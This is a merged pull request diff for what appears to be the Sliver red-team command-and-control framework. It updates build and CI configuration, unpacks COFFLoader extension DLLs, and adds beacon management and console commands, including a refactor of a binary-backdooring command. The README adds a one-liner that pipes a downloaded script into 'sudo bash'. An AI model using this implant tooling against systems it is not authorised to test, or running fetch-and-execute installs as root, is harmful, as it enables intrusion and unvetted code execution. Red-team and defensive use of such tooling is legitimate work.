Merged pr #509

Getprivs: Cleanup and Adding Process Name

.dockerignore

@@ -1,28 +1,21 @@
-assets/*.zip
-assets/darwin
-assets/linux
-assets/windows
-server/assets/fs/**.zip
+/server/assets/fs/**.zip
 
-*.sdk.tar.xz
+/*.sdk.tar.xz
 
-sliver-server
-sliver-server.exe
+/sliver-server
+/sliver-server.exe
 
-sliver-client
-sliver-client.exe
+/sliver-client
+/sliver-client.exe
 
-gui/
-gui/*
+/.vscode/
+/.vscode/*
 
-.vscode/
-.vscode/*
+/.github/
+/.github/*
 
-.github/
-.github/*
-
-build.py
-LICENSE
-SECURITY.md
-README.md
-CONTRIBUTING.md
+/build.py
+/LICENSE
+/SECURITY.md
+/README.md
+/CONTRIBUTING.md

.github/workflows/autorelease.yml

@@ -14,10 +14,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
     
     - name: OS Packages 
       run: |
@@ -59,10 +59,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
 
     - name: Mingw
       run: brew install mingw-w64

.github/workflows/codeql-scanning.yml

@@ -17,10 +17,10 @@ jobs:
 
     steps:
       # Setup go environment
-      - name: Go 1.16
+      - name: Go 1.17
         uses: actions/setup-go@v2
         with:
-          go-version: "^1.16"
+          go-version: "^1.17"
 
       - name: Checkout repository
         uses: actions/checkout@v2

.github/workflows/go.yml

@@ -15,10 +15,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
     
     - name: OS Packages 
       run: |
@@ -50,10 +50,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
 
     - name: Mingw
       run: brew install mingw-w64

.gitignore

@@ -1,10 +1,11 @@
-.vscode/*
-.devcontainer
+/.vscode/*
+/.devcontainer
+/.idea
 
-Dockerfile.*
-*.sdk.tar.xz
+/Dockerfile.*
+/*.sdk.tar.xz
 
-release-*
+/release-*
 
 # Diffs
 *.orig
@@ -30,10 +31,10 @@ sliver-server-windows.zip
 *.dylib
 
 # Test binary, build with `go test -c`
-*.test
+/*.test
 
 # Output of the go coverage tool, specifically when used with LiteIDE
-*.out
+/*.out
 
 # Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
 .glide/

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.16.5
+FROM golang:1.17
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -42,26 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
 # > Sliver
 #
 
-# protoc
+# Protoc
 WORKDIR /tmp
 RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
     && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
     && cp -vv ./bin/protoc /usr/local/bin
-
 RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
     && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
 
-# assets
+# Go assets
 WORKDIR /go/src/github.com/bishopfox/sliver
 ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
 RUN ./go-assets.sh
 
+# Compile sliver server
 ADD . /go/src/github.com/bishopfox/sliver/
-RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
+RUN make \
+    && cp -vv sliver-server /opt/sliver-server \
+    && /opt/sliver-server unpack --force 
 
-RUN ls -lah \
-    && /opt/sliver-server unpack --force \
-    && /go/src/github.com/bishopfox/sliver/go-tests.sh
+# Run unit tests
+RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
+
+# Clean up
 RUN make clean \
     && rm -rf /go/src/* \
     && rm -rf /home/sliver/.sliver

README.md

@@ -1,7 +1,7 @@
 Sliver
 ======
 
-Sliver is an open source, cross-platform adversary emulation/red team platform, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
+Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
 
 The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
 
@@ -15,7 +15,7 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
 * Staged and Stageless payloads
 * [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
 * [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
-* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, HTTP(S), and DNS
+* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
 * Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
 * Local and remote process injection
 * Windows process migration
@@ -28,6 +28,10 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
 
 Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
 
+#### Linux One Liner
+
+`curl https://sliver.sh/install|sudo bash` and then run `sliver`
+
 ### Help!
 
 Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.

client/README.md

@@ -6,11 +6,13 @@ This directory contains the client implementation, pretty much all of this code
 __Important:__ No code in this directory can import any code from `server/`.
 
  * `assets/` - Static asset files and management code (e.g. client configs)
- * `command/` - Command implementations
+ * `cli/` - Command line interface implementation
+ * `command/` - Console command implementations
  * `constants/` - Various shared constant values
  * `core/` - Client state management
- * `help/` - Console help
+ * `licenses/` - Open source licenses 
  * `spin/` - Console spinner library
+ * `tcpproxy/` - Local TCP proxy listener code
  * `transport/` - Wires the client to the server
  * `version/` - Version information
  * `main.go` - Entrypoint

client/assets/.gitignore

@@ -0,0 +1,9 @@
+fs/*.zip
+fs/extensions/darwin/amd64/
+fs/extensions/darwin/arm64/
+fs/extensions/linux/amd64/
+fs/extensions/windows/amd64/
+fs/extensions/darwin/386/
+fs/extensions/darwin/386/
+fs/extensions/linux/386/
+fs/extensions/windows/386/

client/assets/assets.go

@@ -19,15 +19,30 @@ package assets
 */
 
 import (
+	"embed"
+	"fmt"
+	"io/ioutil"
 	"log"
 	"os"
 	"os/user"
 	"path"
+	"path/filepath"
+	"strings"
+
+	ver "github.com/bishopfox/sliver/client/version"
+)
+
+var (
+	//go:embed fs/extensions/*
+	assetsFs embed.FS
 )
 
 const (
 	// SliverClientDirName - Directory storing all of the client configs/logs
 	SliverClientDirName = ".sliver-client"
+	// SliverExtensionsDirName - Directory storing the client side extensions
+	SliverExtensionsDirName = "extensions"
+	versionFileName         = "version"
 )
 
 // GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
@@ -42,3 +57,92 @@ func GetRootAppDir() string {
 	}
 	return dir
 }
+
+// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
+func GetExtensionsDir() string {
+	user, _ := user.Current()
+	dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
+	if _, err := os.Stat(dir); os.IsNotExist(err) {
+		err = os.MkdirAll(dir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return dir
+}
+
+func assetVersion() string {
+	appDir := GetRootAppDir()
+	data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
+	if err != nil {
+		return ""
+	}
+	return strings.TrimSpace(string(data))
+}
+
+func saveAssetVersion(appDir string) {
+	versionFilePath := path.Join(appDir, versionFileName)
+	fVer, _ := os.Create(versionFilePath)
+	defer fVer.Close()
+	fVer.Write([]byte(ver.GitCommit))
+}
+
+// Setup - Extract or create local assets
+func Setup(force bool, echo bool) {
+	appDir := GetRootAppDir()
+	localVer := assetVersion()
+	if force || localVer == "" || localVer != ver.GitCommit {
+		if echo {
+			fmt.Printf("Unpacking assets ...\n")
+		}
+		err := setupCoffLoaderExt(appDir)
+		if err != nil {
+			fmt.Println(err)
+			log.Fatal(err)
+		}
+		saveAssetVersion(appDir)
+	}
+	if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
+		SaveSettings(nil)
+	}
+}
+
+func setupCoffLoaderExt(appDir string) error {
+	extDir := GetExtensionsDir()
+	win32ExtDir := path.Join("windows", "386")
+	win64ExtDir := path.Join("windows", "amd64")
+	coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
+	coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
+	manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
+	loader64, err := assetsFs.ReadFile(coffLoader64)
+	if err != nil {
+		return err
+	}
+	loader32, err := assetsFs.ReadFile(coffLoader32)
+	if err != nil {
+		return err
+	}
+	manifest, err := assetsFs.ReadFile(manifestPath)
+	if err != nil {
+		return err
+	}
+	localWin32ExtDir := path.Join(extDir, win32ExtDir)
+	err = os.MkdirAll(localWin32ExtDir, 0700)
+	if err != nil {
+		return err
+	}
+	localWin64ExtDir := path.Join(extDir, win64ExtDir)
+	err = os.MkdirAll(localWin64ExtDir, 0700)
+	if err != nil {
+		return err
+	}
+	err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
+	if err != nil {
+		return err
+	}
+	err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
+	if err != nil {
+		return err
+	}
+	return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
+}

client/assets/fs/extensions/manifest.json

@@ -0,0 +1,16 @@
+[
+    {
+        "name": "coff-loader",
+        "help": "Load and execute Beacon Object Files (BOFs) in memory.",
+        "entrypoint": "LoadAndRun",
+        "extFiles": [
+            {
+                "os": "windows",
+                "files": {
+                    "x64": "COFFLoader.x64.dll",
+                    "x86": "COFFLoader.x86.dll"
+                }
+            }
+        ]
+    }
+]

client/assets/settings.go

@@ -0,0 +1,73 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"io/ioutil"
+	"path/filepath"
+)
+
+const (
+	settingsFileName = "tui-settings.json"
+)
+
+// ClientSettings - Client JSON config
+type ClientSettings struct {
+	TableStyle        string `json:"tables"`
+	AutoAdult         bool   `json:"autoadult"`
+	BeaconAutoResults bool   `json:"beacon_autoresults"`
+}
+
+// LoadSettings - Load the client settings from disk
+func LoadSettings() (*ClientSettings, error) {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
+	if err != nil {
+		return defaultSettings(), err
+	}
+	settings := defaultSettings()
+	err = json.Unmarshal(data, settings)
+	if err != nil {
+		return defaultSettings(), err
+	}
+	return settings, nil
+}
+
+func defaultSettings() *ClientSettings {
+	return &ClientSettings{
+		TableStyle:        "SliverDefault",
+		AutoAdult:         false,
+		BeaconAutoResults: true,
+	}
+}
+
+// SaveSettings - Save the current settings to disk
+func SaveSettings(settings *ClientSettings) error {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	if settings == nil {
+		settings = defaultSettings()
+	}
+	data, err := json.MarshalIndent(settings, "", "  ")
+	if err != nil {
+		return err
+	}
+	err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
+	return err
+}

client/cli/cli.go

@@ -82,7 +82,7 @@ var rootCmd = &cobra.Command{
 func StartClientConsole() error {
 	configs := assets.GetConfigs()
 	if len(configs) == 0 {
-		fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
+		fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
 		return nil
 	}
 	config := selectConfig()
@@ -93,11 +93,11 @@ func StartClientConsole() error {
 	fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
 	rpc, ln, err := transport.MTLSConnect(config)
 	if err != nil {
-		fmt.Printf("Connection to server failed %v", err)
+		fmt.Printf("Connection to server failed %s", err)
 		return nil
 	}
 	defer ln.Close()
-	return console.Start(rpc, command.BindCommands, func(*console.SliverConsoleClient) {}, false)
+	return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
 }
 
 // Execute - Execute root command

client/command/backdoor/backdoor.go

@@ -29,7 +29,7 @@ import (
 
 // BackdoorCmd - Command to inject implant code into an existing binary
 func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -48,7 +48,7 @@ func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
 		FilePath:    remoteFilePath,
 		ProfileName: profileName,
-		Request:     con.ActiveSession.Request(ctx),
+		Request:     con.ActiveTarget.Request(ctx),
 	})
 	ctrl <- true
 	<-ctrl

client/command/beacons/README.md

@@ -0,0 +1,4 @@
+Beacons
+========
+
+This package implements the beacons command, which can be used to list and interact with beacons.

client/command/beacons/beacons.go

@@ -0,0 +1,103 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// BeaconsCmd - Display/interact with beacons
+func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	PrintBeacons(beacons.Beacons, con)
+}
+
+// BeaconsRmCmd - Display/interact with beacons
+func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	beacon, err := SelectBeacon(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	_, err = con.Rpc.RmBeacon(context.Background(), beacon)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
+}
+
+// PrintBeacons - Display a list of beacons
+func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
+
+	if len(beacons) == 0 {
+		con.PrintInfof("No beacons 🙁\n")
+		return
+	}
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"ID",
+		"Name",
+		"Tasks",
+		"Transport",
+		"Remote Address",
+		"Hostname",
+		"Username",
+		"Operating System",
+		"Last Check-in",
+		"Next Check-in",
+	})
+
+	for _, beacon := range beacons {
+		next := time.Unix(beacon.NextCheckin, 0).Format(time.RFC1123)
+		if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
+			next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, next, console.Normal)
+		}
+		tw.AppendRow(table.Row{
+			strings.Split(beacon.ID, "-")[0],
+			beacon.Name,
+			fmt.Sprintf("%d / %d", beacon.TasksCountCompleted, beacon.TasksCount),
+			beacon.Transport,
+			beacon.RemoteAddress,
+			beacon.Hostname,
+			beacon.Username,
+			fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
+			time.Unix(beacon.LastCheckin, 0).Format(time.RFC1123),
+			next,
+		})
+	}
+	con.Printf("%s\n", tw.Render())
+}

client/command/beacons/helpers.go

@@ -0,0 +1,99 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"fmt"
+	"sort"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+var (
+	// ErrNoBeacons - No sessions available
+	ErrNoBeacons = errors.New("no beacons")
+	// ErrNoSelection - No selection made
+	ErrNoSelection = errors.New("no selection")
+)
+
+// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
+func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(beacons.Beacons) == 0 {
+		return nil, ErrNoBeacons
+	}
+
+	beaconsMap := map[string]*clientpb.Beacon{}
+	for _, beacon := range beacons.Beacons {
+		beaconsMap[beacon.ID] = beacon
+	}
+	keys := []string{}
+	for beaconID := range beaconsMap {
+		keys = append(keys, beaconID)
+	}
+	sort.Strings(keys)
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Column Headers
+	for _, key := range keys {
+		beacon := beaconsMap[key]
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
+			beacon.ID,
+			beacon.Name,
+			beacon.RemoteAddress,
+			beacon.Hostname,
+			beacon.Username,
+			fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
+		)
+	}
+	table.Flush()
+
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a beacon:",
+		Options: options,
+	}
+	selected := ""
+	survey.AskOne(prompt, &selected)
+	if selected == "" {
+		return nil, ErrNoSelection
+	}
+
+	// Go from the selected option -> index -> session
+	for index, option := range options {
+		if option == selected {
+			return beaconsMap[keys[index]], nil
+		}
+	}
+	return nil, ErrNoSelection
+}

client/command/commands.go

@@ -34,28 +34,40 @@ package command
 */
 
 import (
+	"os"
+
+	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/backdoor"
+	"github.com/bishopfox/sliver/client/command/beacons"
+	"github.com/bishopfox/sliver/client/command/dllhijack"
 	"github.com/bishopfox/sliver/client/command/environment"
 	"github.com/bishopfox/sliver/client/command/exec"
 	"github.com/bishopfox/sliver/client/command/extensions"
 	"github.com/bishopfox/sliver/client/command/filesystem"
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/command/hosts"
 	"github.com/bishopfox/sliver/client/command/info"
 	"github.com/bishopfox/sliver/client/command/jobs"
 	"github.com/bishopfox/sliver/client/command/loot"
+	"github.com/bishopfox/sliver/client/command/macros"
 	"github.com/bishopfox/sliver/client/command/monitor"
 	"github.com/bishopfox/sliver/client/command/network"
 	"github.com/bishopfox/sliver/client/command/operators"
 	"github.com/bishopfox/sliver/client/command/pivots"
 	"github.com/bishopfox/sliver/client/command/portfwd"
+	operator "github.com/bishopfox/sliver/client/command/prelude-operator"
 	"github.com/bishopfox/sliver/client/command/privilege"
 	"github.com/bishopfox/sliver/client/command/processes"
+	"github.com/bishopfox/sliver/client/command/reaction"
 	"github.com/bishopfox/sliver/client/command/registry"
 	"github.com/bishopfox/sliver/client/command/screenshot"
 	"github.com/bishopfox/sliver/client/command/sessions"
+	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/command/shell"
+	"github.com/bishopfox/sliver/client/command/tasks"
 	"github.com/bishopfox/sliver/client/command/update"
+	"github.com/bishopfox/sliver/client/command/use"
 	"github.com/bishopfox/sliver/client/command/websites"
 	"github.com/bishopfox/sliver/client/command/wireguard"
 	"github.com/bishopfox/sliver/client/console"
@@ -71,6 +83,21 @@ const (
 // BindCommands - Bind commands to a App
 func BindCommands(con *console.SliverConsoleClient) {
 
+	n, err := reaction.LoadReactions()
+	if err != nil && !os.IsNotExist(err) {
+		con.PrintErrorf("Failed to load reactions: %s\n", err)
+	} else if n > 0 {
+		con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
+	}
+
+	// Attempt to load extensions from ~/.sliver-client/extensions/
+	exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
+	// Absorb error in case there's no extensions manifest
+	if err == nil {
+		for _, ext := range exts {
+			extensions.RegisterExtensionCommand(ext, con)
+		}
+	}
 	con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
 
 	// [ Update ] --------------------------------------------------------------
@@ -138,7 +165,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Start an mTLS listener",
 		LongHelp: help.GetHelpFor([]string{consts.MtlsStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("s", "server", "", "interface to bind server to")
+			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultMTLSLPort, "tcp listen port")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -158,9 +185,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Start a WireGuard listener",
 		LongHelp: help.GetHelpFor([]string{consts.WGStr}),
 		Flags: func(f *grumble.Flags) {
+			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultWGLPort, "udp listen port")
 			f.Int("n", "nport", generate.DefaultWGNPort, "virtual tun interface listen port")
-			f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun inteface key exchange port")
+			f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("p", "persistent", false, "make persistent across restarts")
 		},
@@ -180,6 +208,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("d", "domains", "", "parent domain(s) to use for DNS c2")
 			f.Bool("c", "no-canaries", false, "disable dns canary detection")
+			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -201,6 +230,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("d", "domain", "", "limit responses to specific domain")
 			f.String("w", "website", "", "website name (see websites cmd)")
+			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -222,6 +252,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("d", "domain", "", "limit responses to specific domain")
 			f.String("w", "website", "", "website name (see websites cmd)")
+			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
 
 			f.String("c", "cert", "", "PEM encoded certificate file")
@@ -264,9 +295,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 	// [ Operators ] --------------------------------------------------------------
 
 	con.App.AddCommand(&grumble.Command{
-		Name:     consts.PlayersStr,
+		Name:     consts.OperatorsStr,
 		Help:     "Manage operators",
-		LongHelp: help.GetHelpFor([]string{consts.PlayersStr}),
+		LongHelp: help.GetHelpFor([]string{consts.OperatorsStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -355,25 +386,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.GenericHelpGroup,
 	})
 
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.UseStr,
-		Help:     "Switch the active session",
-		LongHelp: help.GetHelpFor([]string{consts.UseStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Args: func(a *grumble.Args) {
-			a.String("session", "session ID or name", grumble.Default(""))
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			sessions.UseCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.GenericHelpGroup,
-	})
-
 	con.App.AddCommand(&grumble.Command{
 		Name:     consts.KillStr,
 		Help:     "Kill a session",
@@ -392,6 +404,145 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.SliverHelpGroup,
 	})
 
+	// [ Tasks ] --------------------------------------------------------------
+
+	tasksCmd := &grumble.Command{
+		Name:     consts.TasksStr,
+		Help:     "Beacon task management",
+		LongHelp: help.GetHelpFor([]string{consts.TasksStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			tasks.TasksCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	}
+	con.App.AddCommand(tasksCmd)
+
+	// [ Use ] --------------------------------------------------------------
+
+	useCmd := &grumble.Command{
+		Name:     consts.UseStr,
+		Help:     "Switch the active session or beacon",
+		LongHelp: help.GetHelpFor([]string{consts.UseStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.String("id", "beacon or session ID", grumble.Default(""))
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			use.UseCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	}
+	useCmd.AddCommand(&grumble.Command{
+		Name:     consts.SessionsStr,
+		Help:     "Switch the active session",
+		LongHelp: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			use.UseSessionCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	useCmd.AddCommand(&grumble.Command{
+		Name:     consts.BeaconsStr,
+		Help:     "Switch the active beacon",
+		LongHelp: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			use.UseBeaconCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	con.App.AddCommand(useCmd)
+
+	// [ Settings ] --------------------------------------------------------------
+
+	settingsCmd := &grumble.Command{
+		Name:     consts.SettingsStr,
+		Help:     "Manage client settings",
+		LongHelp: help.GetHelpFor([]string{consts.SettingsStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			settings.SettingsCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	}
+	settingsCmd.AddCommand(&grumble.Command{
+		Name:     consts.SaveStr,
+		Help:     "Save the current settings to disk",
